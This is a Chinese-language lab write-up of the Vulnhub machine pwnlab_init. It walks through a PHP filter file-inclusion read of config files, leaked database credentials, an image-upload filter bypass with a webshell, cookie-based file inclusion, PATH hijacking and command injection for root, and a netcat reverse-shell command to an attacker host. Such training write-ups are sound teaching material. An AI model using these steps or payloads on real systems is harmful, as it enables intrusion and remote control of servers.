Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月21日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
发现了一个盐值
我们先进行web层面的分析
nikto -h 192.168.247.149
curl http://192.168.247.149
发现了三个目录,以此访问,得到如下结论(图不小心删了,对不起 。。)
首先,这是个web页面,要先进行信息收集
其次,这是个登录框(考虑sql注入,密码爆破,弱口令)
第三,这个url很明显将页面的变换变成了变量参数的变化,那么这种情况下,就可能存在sql注入,或者LFI
LFI产生的原因是由于程序员未对用户可控变量进行输入检查,此漏洞的影响可能导致泄露服务器上的敏感文件,如若攻击者能够通过其他方式在Web服务器上放置代码(一般以文件上传的方式来体现),那么他们便可以执行任意命令
存在的意义:
php这类文件我们在前端是查看不了的,我们只配知道他运行之后的结果,而不配知道他的具体细节。LFI利用php伪协议就可以解决这个问题
典型漏洞代码:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
先看看这个config.php
可以正常访问但是没有回显,大概率这个php有东西但是看不到,再一看url,欧呦,典型的LFI,那我们就进行尝试
http://10.211.55.46/?page=php://filter/convert.base64-encode/resource=config
下图就把文件信息按照base64编码输出出来了,这一串应该也很好理解
解码之后
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
登录mysql
mysql -uroot -pH4u%QJ_H99 -h 192.168.247.149
在数据库里一顿查找,查找到了三个用户名以及密码
kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo
登陆上去
一个文件上传的接口,按照之前的项目直接来,加一个GIF89a的头先干他一下。
然后先等等,先把其他页面的也查看一下
http://192.168.247.149/?page=php://filter/convert.base64-encode/resource=index
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
这一串代码是说明把
这是一个检验上传的文件,并且如何执行报错的文件
http://192.168.247.149/?page=php://filter/convert.base64-encode/resource=upload
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo ".$uploadfile."\">
";
} else {
die('Error 4');
}
}
}
?>
限制了白名单
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
如果解析出来不是文件格式就报错
if(strpos($filetype,'image') === false) {
die('Error 001');
文件名与文件类型的双向验证
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
拒绝/,抵抗目录遍历
if(substr_count($filetype, '/')>1){
die('Error 003');
此时此刻我们知道了我们上传的文件不仅仅需要后缀名绕过,也需要文件类型绕过,相对比较严格
cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php rong.php
在php文件头上放一个GIF头,来完成文件类型验证
mv rong.php rong.php.gif
upload/f3c697838a7e6b1c6406bb5b246e553f.gif
上传成功,右键源码可以看到文件上传地址,或者利用nurpsuit来获取上传之后的地址
然后我们直接访问这个地址没有用,可能是因为限制的问题,我们在外面访问不到。
这个时候就想一下之前源码审计的时候,有啥
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
看看这个显眼的include,那不就懂了?只要有一个变量叫lang,然后传给cookie,就会被include。那就是文件包含,那么我们要么burpsuit抓包修改cookie数值,要么使用curl直接干
curl 192.168.247.129 -H "Cookie: lang=../upload/f3c697838a7e6b1c6406bb5b246e553f.gif"
说话之前,先上传提权三脚本,然后再经典三问
uname -a
find / -perm -4000 2>/dev/null ---查看有无特权文件
sudo -l -看看能否sudo提权
发现啥也没有
看一下目录下的文件,发现了一个文件时mike权限,很奇怪,运行一下
最后一行代码的意思是使用mike的权限执行cat
/home/mike/msg.txt,直接执行提示没有cat,那就新建一个cat命令,执行bash命令
echo /bin/bash > cat ---创建一个shell命令的文件:/bin/sh
chmod 777 cat ---赋权
export PATH=/tmp:$PATH ---赋予tmp目录环境变量
cd && ./msgmike
倒数第二行这里是命令注入
asprintf:当成功时函数返回打印的字符长度,类似sprintf函数,如果内存空间不足或其他错误返回-1
这里的意思就是使用bin目录下的echo利用root权限写入到root目录下的messahes.txt
从而构成了一个可以提权的命令执行
那我们直接执行他,然后就可以命令执行
./msg2root
Message for root: cd && /bin/sh
1)sqlmap带账号密码爆破
sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --dump -T users -D Users
测试写入权限:
sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --current-user --is-dba
由于当前用户不是DBA,无法通过MySQL ROOT 帐户写入文件!
2)最小图片技巧
去png-pixel.com下载一个简单的1x1像素PNG:
https://infosecjohn.blog/posts/vulnhub-pwnlab/
将我的simple-backdoor.php代码附加到它的末尾:
cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-ffffff7f.png
上传:
upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png
curl --output - -b lang=../upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png http://10.211.55.46/index.php?cmd=ls
curl --output - -b lang=../upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png http://10.211.55.47/index.php?cmd=/bin/nc+-e+/bin/sh+10.211.55.19+9999
1.对于可执行文件,我们要学会利用ida,gdb,odb等工具进行逆向分析